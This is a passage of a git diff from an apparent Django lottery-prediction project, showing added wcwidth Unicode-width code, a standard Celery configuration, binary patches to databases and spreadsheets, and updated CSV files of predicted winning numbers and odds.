SEPARATOR (``U+2028``) *and* + PARAGRAPH SEPARATOR (``U+2029``). + + - LEFT-TO-RIGHT EMBEDDING (``U+202A``) *through* + RIGHT-TO-LEFT OVERRIDE (``U+202E``). + + - WORD JOINER (``U+2060``) *through* + INVISIBLE SEPARATOR (``U+2063``). + + The following have a column width of 1: + + - SOFT HYPHEN (``U+00AD``). + + - All remaining characters, including all printable ISO 8859-1 + and WGL4 characters, Unicode control characters, etc. + + The following have a column width of 2: + + - Spacing characters in the East Asian Wide (W) or East Asian + Full-width (F) category as defined in Unicode Technical + Report #11 have a column width of 2. + + - Some kinds of Emoji or symbols. + """ + # NOTE: created by hand, there isn't anything identifiable other than + # general Cf category code to identify these, and some characters in Cf + # category code are of non-zero width. + ucs = ord(wc) + if ucs in ZERO_WIDTH_CF: + return 0 + + # C0/C1 control characters + if ucs < 32 or 0x07F <= ucs < 0x0A0: + return -1 + + _unicode_version = _wcmatch_version(unicode_version) + + # combining characters with zero width + if _bisearch(ucs, ZERO_WIDTH[_unicode_version]): + return 0 + + return 1 + _bisearch(ucs, WIDE_EASTASIAN[_unicode_version]) + + +def wcswidth(pwcs, n=None, unicode_version='auto'): + """ + Given a unicode string, return its printable length on a terminal. + + :param str pwcs: Measure width of given unicode string. + :param int n: When ``n`` is None (default), return the length of the + entire string, otherwise width the first ``n`` characters specified. + :param str unicode_version: An explicit definition of the unicode version + level to use for determination, may be ``auto`` (default), which uses + the Environment Variable, ``UNICODE_VERSION`` if defined, or the latest + available unicode version, otherwise. + :rtype: int + :returns: The width, in cells, necessary to display the first ``n`` + characters of the unicode string ``pwcs``. Returns ``-1`` if + a non-printable character is encountered. + """ + # pylint: disable=C0103 + # Invalid argument name "n" + + end = len(pwcs) if n is None else n + idx = slice(0, end) + width = 0 + for char in pwcs[idx]: + wcw = wcwidth(char, unicode_version) + if wcw < 0: + return -1 + width += wcw + return width + + +@lru_cache(maxsize=128) +def _wcversion_value(ver_string): + """ + Integer-mapped value of given dotted version string. + + :param str ver_string: Unicode version string, of form ``n.n.n``. + :rtype: tuple(int) + :returns: tuple of digit tuples, ``tuple(int, [...])``. + """ + retval = tuple(map(int, (ver_string.split('.')))) + return retval + + +@lru_cache(maxsize=8) +def _wcmatch_version(given_version): + """ + Return nearest matching supported Unicode version level. + + If an exact match is not determined, the nearest lowest version level is + returned after a warning is emitted. For example, given supported levels + ``4.1.0`` and ``5.0.0``, and a version string of ``4.9.9``, then ``4.1.0`` + is selected and returned: + + >>> _wcmatch_version('4.9.9') + '4.1.0' + >>> _wcmatch_version('8.0') + '8.0.0' + >>> _wcmatch_version('1') + '4.1.0' + + :param str given_version: given version for compare, may be ``auto`` + (default), to select Unicode Version from Environment Variable, + ``UNICODE_VERSION``. If the environment variable is not set, then the + latest is used. + :rtype: str + :returns: unicode string, or non-unicode ``str`` type for python 2 + when given ``version`` is also type ``str``. + """ + # Design note: the choice to return the same type that is given certainly + # complicates it for python 2 str-type, but allows us to define an api that + # to use 'string-type', for unicode version level definitions, so all of our + # example code works with all versions of python. That, along with the + # string-to-numeric and comparisons of earliest, latest, matching, or + # nearest, greatly complicates this function. + _return_str = not _PY3 and isinstance(given_version, str) + + if _return_str: + unicode_versions = [ucs.encode() for ucs in list_versions()] + else: + unicode_versions = list_versions() + latest_version = unicode_versions[-1] + + if given_version in (u'auto', 'auto'): + given_version = os.environ.get( + 'UNICODE_VERSION', + 'latest' if not _return_str else latest_version.encode()) + + if given_version in (u'latest', 'latest'): + # default match, when given as 'latest', use the most latest unicode + # version specification level supported. + return latest_version if not _return_str else latest_version.encode() + + if given_version in unicode_versions: + # exact match, downstream has specified an explicit matching version + # matching any value of list_versions(). + return given_version if not _return_str else given_version.encode() + + # The user's version is not supported by ours. We return the newest unicode + # version level that we support below their given value. + try: + cmp_given = _wcversion_value(given_version) + + except ValueError: + # submitted value raises ValueError in int(), warn and use latest. + warnings.warn("UNICODE_VERSION value, {given_version!r}, is invalid. " + "Value should be in form of `integer[.]+', the latest " + "supported unicode version {latest_version!r} has been " + "inferred.".format(given_version=given_version, + latest_version=latest_version)) + return latest_version if not _return_str else latest_version.encode() + + # given version is less than any available version, return earliest + # version. + earliest_version = unicode_versions[0] + cmp_earliest_version = _wcversion_value(earliest_version) + + if cmp_given <= cmp_earliest_version: + # this probably isn't what you wanted, the oldest wcwidth.c you will + # find in the wild is likely version 5 or 6, which we both support, + # but it's better than not saying anything at all. + warnings.warn("UNICODE_VERSION value, {given_version!r}, is lower " + "than any available unicode version. Returning lowest " + "version level, {earliest_version!r}".format( + given_version=given_version, + earliest_version=earliest_version)) + return earliest_version if not _return_str else earliest_version.encode() + + # create list of versions which are less than our equal to given version, + # and return the tail value, which is the highest level we may support, + # or the latest value we support, when completely unmatched or higher + # than any supported version. + # + # function will never complete, always returns. + for idx, unicode_version in enumerate(unicode_versions): + # look ahead to next value + try: + cmp_next_version = _wcversion_value(unicode_versions[idx + 1]) + except IndexError: + # at end of list, return latest version + return latest_version if not _return_str else latest_version.encode() + + # Maybe our given version has less parts, as in tuple(8, 0), than the + # next compare version tuple(8, 0, 0). Test for an exact match by + # comparison of only the leading dotted piece(s): (8, 0) == (8, 0). + if cmp_given == cmp_next_version[:len(cmp_given)]: + return unicode_versions[idx + 1] + + # Or, if any next value is greater than our given support level + # version, return the current value in index. Even though it must + # be less than the given value, its our closest possible match. That + # is, 4.1 is returned for given 4.9.9, where 4.1 and 5.0 are available. + if cmp_next_version > cmp_given: + return unicode_version + assert False, ("Code path unreachable", given_version, unicode_versions) diff --git a/dump.rdb b/dump.rdb index e1b2092cb37d45c440a0c08a556cab1104e27c5f..0b0c811e76a177d60413f169600922a4891991d1 100644 GIT binary patch delta 45 zcma!um|&ps!)amCFOJgU)D+#^)Z9Z2RYDBEI1=;IbdwT`Qx7ow&vvc&rIGeL4gj)g B6L$ar delta 45 zcma!um|&psefhkkUmT^ysVTa-skw(LrygMV-^|c3gEK3d6#%l| B5$gZ| diff --git a/lottopy_site/db.sqlite3 b/lottopy_site/db.sqlite3 index e175bc81ac7535acc80bf1b084f54f6878792921..5fc42f4614a2764f65d6d9001ba4b9009d95ae3f 100644 GIT binary patch delta 1451 zcmZuxT}&fY6uxI>=yY1j;iuRI3XC0*ZTOp(va}5bSr!c|fz?1XF<8cSWM}OUOAD*A z1jc<@co4QRO^gX@;)96~HjVZ{Hrept8co)XaUV3OWTV-vuCB&xFwq$Aw9+k!cXDp- zx#v4)&i&@Qv$|?t-7{}A)pQU-Bx(;*18R?LcJ@L?c4iCBEjH@gEqiIcx{b58SoX5| z2bPrqdj)YkGL+O(YEqVEZ%B!z)cH^(5mU5yXd$khT~NKU*V`o@>yrJVw>RkX1buRM zzgPCiKDmx&x0SLzAuX<@G$s0f8OH*FexJX$wt_U%3^ke567gg%)buV_%i{!#w{ZeL z#zkDmH&D&$0UWTiY!^h%DDl}uNQuN~KheZ2gEm$=*frW_>r8A1C=036p*eLvrWFc1 z)9XFW9DYTr)9?4R5A*cs_0$fJdSH7FD#f(fc_n4EWVcWhkLL;gil5^*cp2ZKJ)O_$ zFCbQNj(R9?WlVf}eeh-4{1U-m@N4`Gw{Z*Ca4D;+h&G-hj`|Wdy*BX*>$L5r`BNTq zRkiIO+a23(R)5nrj2yHAzo@C_LI&Dd!+`{RM2)H`wXoAv+zFqiL=<-#t2k%|UWr5s zfQDS_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=@50SNlVXC#5>#~=b3FakLaKwQiMBvKfH88jLFRx%WUgrUU5tBGt( IKrRad0L!%sg8%>k diff --git a/lottopy_site/lottopy/__pycache__/apps.cpython-310.pyc b/lottopy_site/lottopy/__pycache__/apps.cpython-310.pyc index 1b01eb53ea4efe2395196c18568bfb3a5329a5ac..6d8cd204a47b99aab3494ba65e8dc85fed5c9af1 100644 GIT binary patch delta 307 zcmX@ie3OMYpO=@50SK6x7bZQN$eX6k1mrjXaj^`LNM(p(Oks#(N@0v*PGO2-NnuW5 zX<>+BO<@gY&}5r9O)u^idrp2yNq#|PG9yqu41f#)VP_yN<^d8ZKx1+kYJntBBa>ed zNU;7NGP>h9b7f;*5S;w^)l(6H_YLL1uvrxJtx1UB)_22Pm^`>B1SvTl?+9kKpjP#leHNAgo~JgY!;9)Y(Rp8frXJ{ UG9Qzo07MB`9f;tXY|kVG068rfG5`Po diff --git a/lottopy_site/lottopy/__pycache__/models.cpython-310.pyc b/lottopy_site/lottopy/__pycache__/models.cpython-310.pyc index b4944a9e82f0dda4bfd5d56697dc35b63cd11dce..d26dbcc064eadee77530833e18cee51cc0030c26 100644 GIT binary patch literal 1209 zcmZuwO;6iE5Z&3e6UQWgQbE;wv8dGpSOu71R3mXy9TU%}8{L z1t3|#l^8e^SJkEv)Rni7cm9BL2pY;eXMwL88*FDem{b0wS!T9WU2-)i#eFsvQ$prQ z_kt;ZgJG3_xFl<`e!+ry=^>_ubvLu3$U3!v=ew21H2#2iZ{dj*~P^lsp+l!=zBXTxSCn7p5l% z(P%#luVD7B;TlT1-mEC^<|o$gr->=zY?!aj5lq6o!cG@A>6P7^!#fY7zB_2;!`|bB z9#rr#awk7_#Yng&&0F|_1Tbx<&XYk3g8SLmb zR(4z~P$SmgNaEt7iloxk$#ON)OLW09r3edqR-l@!*c%rAV6gS8+X#yxBHAzy&)~Fm z2g_Dx!Fpkc!cbvo{V>FKAEh*JhT-8+lvXFYPPcmKY+WXrHmQtcM`c$Bk@rGGGF79Dul307#@Tq%h_%@~ delta 154 zcmaFL{EV45pO=@50SL}5oR^e0kykI3DTO(QDVI5lnUNudA%!J}C6_gdm60KpF@-gi zIg2fYErq?88OY-R^4L>2p**fs)+~+`t`zPRo?a#(4OElP9L1T!8_b}|_Y!1*CgUxZ mg2a-HmyAHp#Mv$EMQlJu5zAyPMtN>l5R)B5a83?koCpAs9wC+h diff --git a/lottopy_site/lottopy/__pycache__/views.cpython-310.pyc b/lottopy_site/lottopy/__pycache__/views.cpython-310.pyc index e83f23740bd523d63e87743ba959fc42db5d9e65..2f2a72a538be232ebdd46ffe15cf949b28d547d1 100644 GIT binary patch literal 1745 zcmZ`(&2QsG6!-WuagruYy9W>}D#3vukw^<%RtQmb3k8)RL3;7Uay+w%v*QnDCfhbD zr|xzCgFWnW+Z%t6ubd+B55NW98z)VTz}C#XkMZ-H-|xN2J00JE=Z~{D({tA_en;j0 zV}tS)4EY;O)S!eLDG3Nc+2m$w1(udAZl_M*XxZj&>II&b9o|TrK~u{v_tRF;0@L;E*2vWDFjxA!}nm%J!L3#g9xDc_ta?Ex~?XCW3|EoKD`7(iJSDOn{>ynNmqM zlOT7WoPK?LaXtwr-+q7k!^H$lejLSf78cQrtw|NyInR~K%jU`P$=PW*nViSy*ghyb zFiv2|9!$!(0Tii8t%TfKkfS|b?Q;xKT#u%aWW%{id1+_UNR;+GPnkdtAW08%W>UR1 z1P1!+yAgUvmkH+yqt{uKCW?&;kuO-R@sxM^#Ap0G#x)bTAJMpuv z=*N#f-^e>g5Ms^9z!rG)(wi|AMwu*~rwM0L=pUN`u`9he&lI~-nxAUg2fI%F5Cn;c zn)V*qz3!iFU;Ar7<1vv44K#kVs~T#*GIiZJ<5hplV>Hc|swx~u%Yk!@rh%yuDIJw4 zUKNtqgK+;&@LjNd0As^`1KCGgEh$7CvDQhUcLx0bN`NW23SN^N0?b*|erZBcJL7@1 z>Rd=BJ~^JTOg%pOcy;h3krC(l<>Mo$(&Tvrg}Cb7GcK0dvr$R>m5(5f3LY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ubk zA=)e4O*4D~Fo63WESV&W|M_a(^9^r7^G;Msi7vq>LGPuH)DdB6KegDPE>zKB~<)??%qlOc9k)WIc} zX9h&kfx^=oXd3CrMxP=VHMF7rY=U}H+3qXVR?+?2{L^#gAKnYGVlRtmEJN%xh`ZE* z^*5?KBF5gu^f;J@-Ry)7vxgzIZ)^!uTOIBugT*WvW)mth^FN2U3ATNBMk&A+DL~lT zEnXWY6M(avLa-N!Q>K@-;wYmmI$?!e`>G+#;sF(TkFSmzMj0h*GE1&?!{|rIs|ARH zP%%XQaMWs;kT8MPAe(KC-v>MkTT&6|2YX cFNd4)shHDZ5eg5DZyT1;Ha*>hrSzWu4cDGj$^ZZW diff --git a/lottopy_site/lottopy/apps.py b/lottopy_site/lottopy/apps.py index 4d6f1cb6..a6088050 100644 --- a/lottopy_site/lottopy/apps.py +++ b/lottopy_site/lottopy/apps.py @@ -4,3 +4,6 @@ from django.apps import AppConfig class LottopyConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'lottopy' + def ready(self): + # Initialize celery + import lottopy.celery diff --git a/lottopy_site/lottopy/celery.py b/lottopy_site/lottopy/celery.py new file mode 100644 index 00000000..0752be0e --- /dev/null +++ b/lottopy_site/lottopy/celery.py @@ -0,0 +1,21 @@ +import os +from celery import Celery + +# Set the default Django settings module for the 'celery' program. +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'lottopy.settings') + +app = Celery('lottopy') + +# Using a string here means the worker doesn't have to serialize +# the configuration object to child processes. +# - namespace='CELERY' means all celery-related configuration keys +# should have a `CELERY_` prefix. +app.config_from_object('django.conf:settings', namespace='CELERY') + +# Load task modules from all registered Django apps. +app.autodiscover_tasks() + + +#@app.task(bind=True) +#def debug_task(self): +# print(f'Request: {self.request!r}') \ No newline at end of file diff --git a/lottopy_site/lottopy/lottopy_web_edition/c25_ans.csv b/lottopy_site/lottopy/lottopy_web_edition/c25_ans.csv index eb7d9ce8..f1d74920 100644 --- a/lottopy_site/lottopy/lottopy_web_edition/c25_ans.csv +++ b/lottopy_site/lottopy/lottopy_web_edition/c25_ans.csv @@ -1,2 +1,2 @@ Winning_Numbers,Chance -14-18-22-23-5-9,347/177100 +14-18-2-22-5-9,49/25300 diff --git a/lottopy_site/lottopy/lottopy_web_edition/cash25.xlsx b/lottopy_site/lottopy/lottopy_web_edition/cash25.xlsx index 52c9c364b64e552debddef69a63e1fab02c6ed1b..7d4cee372568f60ac71ce1bcd01e6b729ad8d7d5 100644 GIT binary patch delta 6186 zcmZ8lcRZV2`?o4ej1H|RL9K>bLG7U0+O%fdsJ-`|Ay2A}mLRARyNjwes>2pL_NH3I zN>O{0m_JY7_jy0>@4f%Huh03OYnKUauI_gjZTRz`8pWoOTC@^KCh z9zu}^!q!>PGQf}ifi>eijd(VbgJ-?{0F0vyDIUL+GGy0jbW4*?DDq~ZiIVVsQP_Gv zBr|t|Nppcc=oUwINrM37wN3-@dgDz;FNd!~=QydM4OeQXnp~ElU9QM_Hs0MA`C{U> zE2=Wtt$5TGTlBd*=>!(nOZNEV=iR)v>Ay0Tley6^c^0#?g5OQ8ENlpuz<o5PjWrdIOq zWrei~MCFk$JHCQSNaRLiK2}dN5IipmGMuJ2B2<%;#{h)omGjmVoYn{Bw!*tYI}CRaI5!3UyLyL-My}MX=41);_$;-G6hnYwmN4TS9me< zCTHsLx|BZMaZSzPWfGMoyH4>WW&g^FWb|>erZFhLBVPez0HxVxxq#l7lTy_4;|C9h0& zDlJJdDk=5;y0$MF3dB&iMX}r0-n`m>Pn%Z7Uik9uneX~^NO56l%d;OuXw{gC-gVMj z?@Z(NH|=5SRr+*=QcJ)zvFMe&wu_9o$G~EB74|ptbEQHw{^#?BzAK+S(=BmUEv@6z zy};RVPD$hB*R;^22AwhoA!Z!eQ=QbFNjkKN) z*G?rHSt>A!q$6)T%X0O+TL3-xIj2C&SI2;sEoJ(QF+&mI#sJ_=92Bci}XdiRr+eht}!F%?@r?BrW`xmYAW&LHL# zB|4|z{+B4duPIaer>&Trg+ZH)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ewd6>zPIDXoQ% z1&_c!f4`Uxu6X)x%1RS2dwPelPNc6K=!&~0G2gF*;_tnyT=TA+KE{HXcY;A}B1JOr zo7mji6mOSA3NP-v4a*WRK|2Y`X_ZMIV`o0qtQ}(iCSs4S*G9M30{I)0h1> zk90&0i-NI=;=J|ROwHO!aL%u}4U12LF&B4Z^4i7{v(OmsPHiTvc9IXLRbGShllouK z+@~lOTfi@7^8%v5ERivW2I2{}hbVVtUH$du4W@QTmUUNzfhJ;t0hW#utdt|@W8%;g z#$1J?*NPhn0*V&hq6fQ!l&6Fo=l?v;_B2jmJuAw$s?=TH2p5N1Falqe-3=>;4 zc)ZByx(_-X5)GZ!R^vCmnIR=JaCChrx_tOk46z@*hs2^C( z{87mlChZGtX=G%7YwHHRD zG(7AnX-Py|peA+0f^a{3dyjup=N22#{tc7>O9D#$=rEd&Q8_1~D^GT*E6bS_>gLIR z>%BE=!lMj~bh$UR4Yc&nTJv7)!KpvMY4Q0#z^b_Ezra<=YiIvgGfxecyej(7F54kj zoa+n#kSh%UT%arI|M{Mu`jR>b&`hjXTKNlE{4rzs_{Nar)pA@r3C&ERY(b*%1!N; q68W=Rqwn@pfzmR60&z|XO5r~R01Pw!|G|<{Ev2Q-T$cQY^nU=O-5zxS diff --git a/lottopy_site/lottopy/lottopy_web_edition/d3_ans.csv b/lottopy_site/lottopy/lottopy_web_edition/d3_ans.csv index c57ed27e..8de9b2b6 100644 --- a/lottopy_site/lottopy/lottopy_web_edition/d3_ans.csv +++ b/lottopy_site/lottopy/lottopy_web_edition/d3_ans.csv @@ -1,2 +1,2 @@ Winning_Numbers,Chance -0-3-6,17/5000 +0-8-9,2/625 diff --git a/lottopy_site/lottopy/lottopy_web_edition/d4_ans.csv b/lottopy_site/lottopy/lottopy_web_edition/d4_ans.csv index 7d8baa1b..1ec2df09 100644 --- a/lottopy_site/lottopy/lottopy_web_edition/d4_ans.csv +++ b/lottopy_site/lottopy/lottopy_web_edition/d4_ans.csv @@ -1,2 +1,2 @@ Winning_Numbers,Chance -3-5-6-8,267/5000 +3-5-7-8,67/1250 diff --git a/lottopy_site/lottopy/lottopy_web_edition/daily3.xlsx b/lottopy_site/lottopy/lottopy_web_edition/daily3.xlsx index 85fb274af883079fe8abe6d372f83c3212ba3c36..c48cf2897debd5e529e143a2d30bff904fe6f350 100644 GIT binary patch delta 1583 zcmY*Zc~sJA6#apUic2bB3u2k&2BB@1iKb>HsD*@z79)w&XdslDHaP>9OX(OTdQ4n~ zas{;wmy&AGQ<_FDNtuylmP;9C<+SJ+gU+d$zCXTu-aYTV`_4P(-C3tRvDHM{GUB zt_);2o-526!h3VP-&yAL572s3qsj&v8?$9p-=%W;zOTt2Oady8cY6-SO@VB~0yYT7 zGgibux?&q-2H=HN_r^~A8lO3`ALqp-PH#b(B?YtOHjbr!&0tImA?nK7@Uat_ z$+#EUKfQat_T%Dx>u7vaeF8Cmz00)#<4W<{K`4cm+Ee}(EX+Gw&5exHf8^%2QdZG= z5YuKiI)aKxI{Hg;`?%#{zcNVnhl^2q#o*X}#`^6VEXS)?(4f)coeUa<%(}TWRQ*WOduEqPF(c%L65%X{C)#{4)RS4~VcuCO8}c4N&;FXI5|(m)W&}Ts zQRUq`td#tPxq9p_Qo$PJwDC!5nPBz|s^fgLwYoX~0p#)9?_mUN+RKys!3Zv3+pHpz1U)Atd65yY@_%g|;IKkdQTCaljP7T0v=BZ#}t z(a?hkdF%Z~QOWf+UmASgmg6rWCZSv!-Las0NSD*#^DM-Vm3FL_cd?quq!gAMf6Yw0 zc-i~F z#kIsa2^!t&wWQ9#cRzZHm8J}Fc;qyMkhgU@hCFYtwA(s^QXlB?%vHsb#r4tan(ip3 zVj?^PZ&;1(OI*};zNbmNK!yyiAs=A7^z{Xn&gjfAn4i5iYK(roZnaSlSVw!^f@af^ zIh0BkgoEY@ee)=5CAB$2LPDXJ--nZ?I1+4OE`TB&<_Bh+K9aK-1OQ!H REBkTaPl6zX9mIQ{{0F^Sz2N`= delta 1570 zcmZWpdpOg39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vsDYyk1Yrv~xq_eRohD0U9uwH$il(kOf(Q)^xZ3ew| zrTO_(l;6(Hi7kG^U&kz6m~|Ys@)(Wt5>?SW8u;(CB6`*@>E|Gvc$U{DADa}?cJeT! z$KliG$^-&h@MZBOUeGsD^*70_yDYJzS4^&Nhr%sY!XnU{l5fJ z&Jy;sAK4r^(@oh6ISizmJtL>8{QpJ(%k#ezpMYTNptLqM<8ws2hhVqv+71BHKLjAg zL&n*mD22_`6ch$h$u2?3lQvT2>o6q-5CBjEU5G7?Z15T#q8~*M3-+hegE!il=m-%* wiT`YM4|S!?d@g8O1_R``m{(-jda?>^YxIuIH=WTKh>#tG*4%~#`wRg70XLJVd;kCd diff --git a/lottopy_site/lottopy/lottopy_web_edition/daily4.xlsx b/lottopy_site/lottopy/lottopy_web_edition/daily4.xlsx index 9db50d90583b6d747d51833aa4b57cde7fc5c9e9..9e29a4213fa29ea2f79470f05800466910a5ef00 100644 GIT binary patch delta 7991 zcmZWuc|6nqAD1Ia6#B{$s)-_JF)NJpMHD)uZwVz`WU|P)&(~3Yay9Z*Xb7QPrIPGx z<|^kLISS2@&D?CvE`Fb_5`FzMUS99l>-oB#@7Er0(uJuDVs_R7f?N6c_(b@UQ$C`_ z@&WMU^j>43$SF{$&di$HWznH+oU7uI|dgtlds2x^IPh+S;dW(@YA)53~M9XcLaUtkWM;IG)gY zvD)T{DW7ui;hdAO-ON1ynYO*jm{}3Pl(O09$bkJD{)nvTT|)bdMMTl{UDq-oYIC!p z&;Wb{p~vk}+usTYC-$0N=&Jl?sFV7k@UFbeJqh!q3ejuQmkO66n-yG=zCD_Vm%Ep- zJvlYSH+OK7GP}Fze2+1DOwR@v|Hp0dcNe?si<+x_ajx+WsoOfA=XM2t6{(P>vv&pi zat7~6`F`yQ<9w)dF#TLrRQ|wuO_oZ&tTSFO$<330@@j@M#-o#pY?inFch*(djsv*3$gsc#@eGg*Hg*IJK-; zN_Iva3I>=n8NdtV&SlPgc?Fi;s`wg5#IfM;<#EDtv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%t_Pu&OaU6Qm<|IAGW349hL^j&F!$AS^wUOBQ z%FOrm>)S0AmA`EOT#dQfJY5YLP3i!z&I=)ecNIx7&cy7^W^SitW~NVIUCHJho4ac>zD$LzS!eSx&cU+m*9y{jO|6>a|#>h{f^NZM;696?(H}r>m~?vl&e29nGQa=fy?@k z@l4lZf~%l#C<)pn_UnP2(J*gk{rcU@dkpKQ~V1doWbGN z;S7f?U+QiC@I-f47qNCV^q_ebi9K4&e?Hbd(#17x@XZ`CH=jwyl>;GV;M>E7Nn&R) zF`B=cJj0`LxkMfuPGijU@w-!LS!4Y(LVv&CblLbpL==3#nXISLFZe7{+3X}dD+t>1 zV^-k2)p}0waNAA^!JE+8SH{W1+YF(CZ|TPgu;t=HLWE61LJHsuOR+ znSXcMEhMD)M*;l2943<-p}A?+-D6D^Ve8~N%{3+htEtyst$71#D1fh}B^RF%R@D#^ zLi>AoW3;sdzisyki>wfxf32OoUQ0z-JlRxh?W|E3@S9t5h}Py=7#`Pylaz#ogeao_ QLPaH4X{n1RZ4-FN{WdHyG diff --git a/lottopy_site/lottopy/lottopy_web_edition/la_ans.csv b/lottopy_site/lottopy/lottopy_web_edition/la_ans.csv index 4331d2e7..afbae760 100644 --- a/lottopy_site/lottopy/lottopy_web_edition/la_ans.csv +++ b/lottopy_site/lottopy/lottopy_web_edition/la_ans.csv @@ -1,2 +1,2 @@ Winning_Numbers,SB,Chance -1-10-32-49-8,[3],1/270725 +1-10-32-46-8,[9],1/265200 diff --git a/lottopy_site/lottopy/lottopy_web_edition/lotto.xlsx b/lottopy_site/lottopy/lottopy_web_edition/lotto.xlsx index 8ec661a0cbdc6a9cf148074440ab27fa6d083f66..dcf9b947fd536d346aecbf9b50a1a235215fab51 100644 GIT binary patch delta 8284 zcmZ8`bySqmw>BvaDk%*jB8_xN4c$n`fOMxr$1B~9bPXxpH8e;`H%NDb!hn)~qrdOo zb?==&=3VQov-kV#=j`X~{jNP@lx2*krihA0goK2IiS#*hC;_hm6YP1H}XbN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_edition/lotto_america.xlsx b/lottopy_site/lottopy/lottopy_web_edition/lotto_america.xlsx index 25cbf6d0a5f520dc38b569df099318989143ffc1..b0754b1a27211e8766a82a981258c5850796685a 100644 GIT binary patch delta 4604 zcmZ8lc{J4R`yLcR_T{xpq-c=rSwePMlC6o6y)YO%F_!FErwAjVD2z3RnXxnoF_usm zGedS`i!4R_===M=zxVxp{&?>5+|PAi*M08uobx%))vDd2ecs%d<_sqQ0H6otLm2EDPffS=R2h`LS!- zUwOJD&VGpg1~PzvY~k^9uZbvBDkx!zZu463@!@)~Zz}VhJvOkDuxwUWz;*P1#Ji4o z!Niy|2EU?A-$0G_-!)T8EalZ_g%E*q}oNifEqIHx&?|ju8D9#PHS^Mw%XjW9=%gJzec>+z51(T zLvl6DIe1r?AAE*D8%fkXIQy?L)f1>RXwRPxilX40;?4p9kl~l;g<+`$1c*TI`FL=b zdDMM3^new=UHhjBk!FJ$+l##oUg_Qs0)6%BDRXPror8HWhDUepo8QRkZ<`ggirOLi zs?8F>g_;|C-8RP&O|Zw25#N7?9By?$_70D>k7jm%nwf!j)625c%@Ps_v&-EbWyI~A zj-%ZUrILh$g2Ga4IIO899NUCG+{F~K*yNbC32tl%?P&@-s2}fc`iAe5caDyhDHO)w z+QV--7_-9kMeu5sblX(qWE)ZV_~-m$$8woH>^Vy?%R%=drmWj0;dl2}9!<0`Wa`-f zH~FZqZG9J9Xfs$naF3*}{yXew#z)uzY_f=Y-$riJdSo}rA1xH6d7Em8H`osU6Tp!9w8_nW5YE; zEw#v_?=V6K=J$-mTY7Kg)X*%Z|7jh zHn7#nSWSOE8%woRnT>`)8oLI~qoT0Iqt$PRthhtgk*$n|!QN_;6QQ*$KM=I!&EHid z#jIWHoE%#;uGQ7^h;8z@Szm{!vPs@_O;|z_?A#ZEVvIA7K%C>?8GSM3wa0NWnO3>3 zKXpA;St271CK-=7ZG5iDby-9l@OQnFGS&8TOokUJpHeLwEM_Mh@m_69x^0Pgs$nW4 zHDK?@ojgGoQg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`&blQ+~jM4Ayv|1m&45>HHg;GJ%SM(eBW*QgizsywDcmHbH zPyLa|pdFy8W?`7^VA6i^>2%C^|AAkv8N@mL_nXVV$)=>=NB;EaT>l+rlve!J!+M0- zq~o57F%D&Ep!iLeKZ;(7i9ZUGr1ifQN2E_5{b%rjvy|5V1A8nj&eDlXmzIb&K g|KJauktJ|+2?@Uc<04sBoaHS}LRN`mUg{A3FB%@}r~m)} diff --git a/lottopy_site/lottopy/lottopy_web_edition/lotto_megamil.xlsx b/lottopy_site/lottopy/lottopy_web_edition/lotto_megamil.xlsx index ccc86cf2443f96aaa5cde6d3a7289c2bb470e56a..02391daaa6510fdb1a9a7ff24829fe15e7a4eb1e 100644 GIT binary patch delta 4699 zcmZ8lc|4R~+n=$Iv83!qmdMr&HFgTw3dz3Y&X!Rb%UHA37!gs5u@k?PETf@>v5hTR zha@EH7;DzZmZevo&+|O*``&+?>vOLAd%o9o&UKypbAP@|x^uehX2$dk+#nE$1(cfA zp2%Lpa%8NWFHHYVY!bzKv?#E}IH7iOq&QKit#%B81hkzmi`f(9V9D{JpwE z&Fl(IEcmVoMn$ME@$m5rjYdR=*ofr7_WfZMfA7(kkE#mV(n7|Xf17loVOW&hJj}O+ zh!E#TY?v<_U|9HMQM%I9*%^b`JEx};fONB$kIet-8tRanTM z-L>HD^|7B_)Vt*MpF8`(_cF2JhabXr*TYGBYn1t)E^`GktEX32a*0@PV#C48@&;w| zXH|d8K|ghQgOE0HT4XinPnDJ?tbt7Svt5*bK>qV3_Bl z`gboL_=V<_j`w0$0+2$&#Crw1=X#3)0XDx(o@6Glu)vq(po>oe!z8xZ85245&?p`0z*iI{Z5ZnK| z2`*yseEj)@rt7@O&!8}PbA_ods1+v@r01)^&20V7ea7Y{LSCfKNpi^A4=)k3j7*BD zV^32u{0z%*zpjWiyypL%vA|=n#3mon_le?ia6+=fcP}>aN$tlSn<8yGMY|V=lj6ydmAD`mN zmWLulNeWHVL3^$&IaW=X)+{A=M`QyJuJIcB4SS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Cp;-yQLZOZw%nG>}wZ9))jl19{Yx*;SxS1 z6`!P;HW%+CFj^*(aC5=&3culvt_|$?GM%M@gG%ws_Vy+$S{X5W(J8GfIvK=V} zn;12a^NjI1D!7jXv<`@QjJ4BblGD8oUbqG}>3DbTKwMMYi59aMZrysW)3ry0q~iCbUVw8b!N`NhraEZpzr7 z>}e*)>5sGsQwzaVgRAxEJw!OyHd;Kn@%0QX$>&B>%*# z*vops zttQKrzV=G3vqOwCw5<^L(S0%Kv=^noyxu#I7ymY86_mxev>v*ITQ>dZ;lH~Ip4>OC zTp|giZ)^nONDf3mCJfN6e`LQxI8DG^!Of+<^t-eJK)hX{m8Xd})YehQnWfgKpjp=T zEQ-naU?3(-D1b^XM^ZJfl(Ixq_1@#gTnUa7@WQJ6ZFNktu5wVM2>ZA@o1*ocF4CM zbGy>r+cvQsH})6y824u0s7~!G{U0%*#zE!-H_w5Nkg6%a@Y~i%f}FViari6D{^PJ$ z{PSOq0wv@BNHD1^CBuJCDS=J@ONPLK|1kY6O3bX-TE6540Hh890HOyH&c9a#myHYn z5bC2t2qgM=5n!RWd~B__xFvc1qw}OP!SY-xsXxJT|KQ~y@?0XRCn1X9-&j?}?1J(G q)(#f{Aop+PfsNq0p^zG(07^}Ui2QRc|KOT+Y7^ub{}ZL(=l%y4C-|QL diff --git a/lottopy_site/lottopy/lottopy_web_edition/mm_ans.csv b/lottopy_site/lottopy/lottopy_web_edition/mm_ans.csv index c6ea6cd8..7e7782cc 100644 --- a/lottopy_site/lottopy/lottopy_web_edition/mm_ans.csv +++ b/lottopy_site/lottopy/lottopy_web_edition/mm_ans.csv @@ -1,2 +1,2 @@ Winning_Numbers,MB,Chance -17-26-40-52-7,[24],1/4034338 +17-26-40-52-7,[24],38/151287675 diff --git a/lottopy_site/lottopy/lottopy_web_edition/pb_ans.csv b/lottopy_site/lottopy/lottopy_web_edition/pb_ans.csv index fed67877..10b6a715 100644 --- a/lottopy_site/lottopy/lottopy_web_edition/pb_ans.csv +++ 